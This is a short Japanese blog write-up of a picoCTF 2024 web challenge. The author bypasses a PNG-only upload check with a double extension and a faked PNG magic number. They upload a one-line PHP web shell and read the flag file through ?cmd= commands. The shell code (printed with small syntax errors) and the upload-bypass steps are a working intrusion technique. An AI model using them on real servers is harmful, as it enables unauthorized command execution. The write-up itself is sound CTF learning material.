はじめに
2024/3/13-3/27の期間で開催されたpicoCTF 2024に参加しました。
主にWeb問を解いていたのですが、その中で解くことができてうれしかった問題があったので備忘録もかねてWriteupを書きました。
Trickster
AUTHOR: JUNIAS BONOU
Description
I found a web app that can help process images: PNG images only!
Additional details will be available after launching your challenge instance.
説明の通りですが、URLにアクセスするとPNGファイルのみアップロードできるWebアプリにつながります。
どうにかこうにかPNG以外のファイルをアップロードしてFlagを取得しようという問題です。
アップロード条件
なんとなくWebアプリを見ていて見つけた条件は以下の通りです。
- .pngが含まれていること ・・・①
- Magic numberがPNGファイルのもの(89 50 4E 47)であること ・・・②
参考: マジックナンバーまとめ
Webshell作成
先の条件に合うようなファイルを作成します。今回私はPHPでGETリクエストのパラメータを受け取り、実行するようなファイルを作ろうと考えました。
1. phpで下記ファイルを作成
まずは(超)簡単なphpプログラムを作成します。この時①の条件を意識してwebshell.png.php
として保存しました。
<?php
system($_GET(cmd));
>
2. Magic numberの変更
②の条件をクリアするためにはPNGファイルのMagic numberを挿入する必要があります。Magic numberといっても実態はファイル冒頭のデータなので、追加してあげればいいだけです。
vi -b
コマンドでバイナリ編集ができると知ったのでそれを使いました。
Magic numberを挿入後xxd
で確認してみると、8950 4e47
が追加されたことがわかります。
ファイルアップロード
作成したファイルをアップロードします。
Webshell実行
どこにファイルがアップロードされるのかわからなかったのですが、運よくuploads/webshell.png.php
が見つかりました。
?cmd=
で実行したいコマンドを渡します。
まずは?cmd=ls /var/www/html/
とし階層にどんなファイルがあるのかを探ってみます。するとGNTDOMBWGIZDE.txt
という見慣れないファイルを発見。
?cmd=cat /var/www/html/GNTDOMBWGIZDE.txt
してみるとフラグが取れました。
おわりに
前にどこかのCTFに参加した際は解けなかったWebshellの問題が今回自力で解けたのでとてもうれしかったです😊
ほんとにちょっとずつですが成長できているなと感じることができました。
ほかにも解けなかった問題はたくさんあるので、常設となった問題で復習をしたいと思います。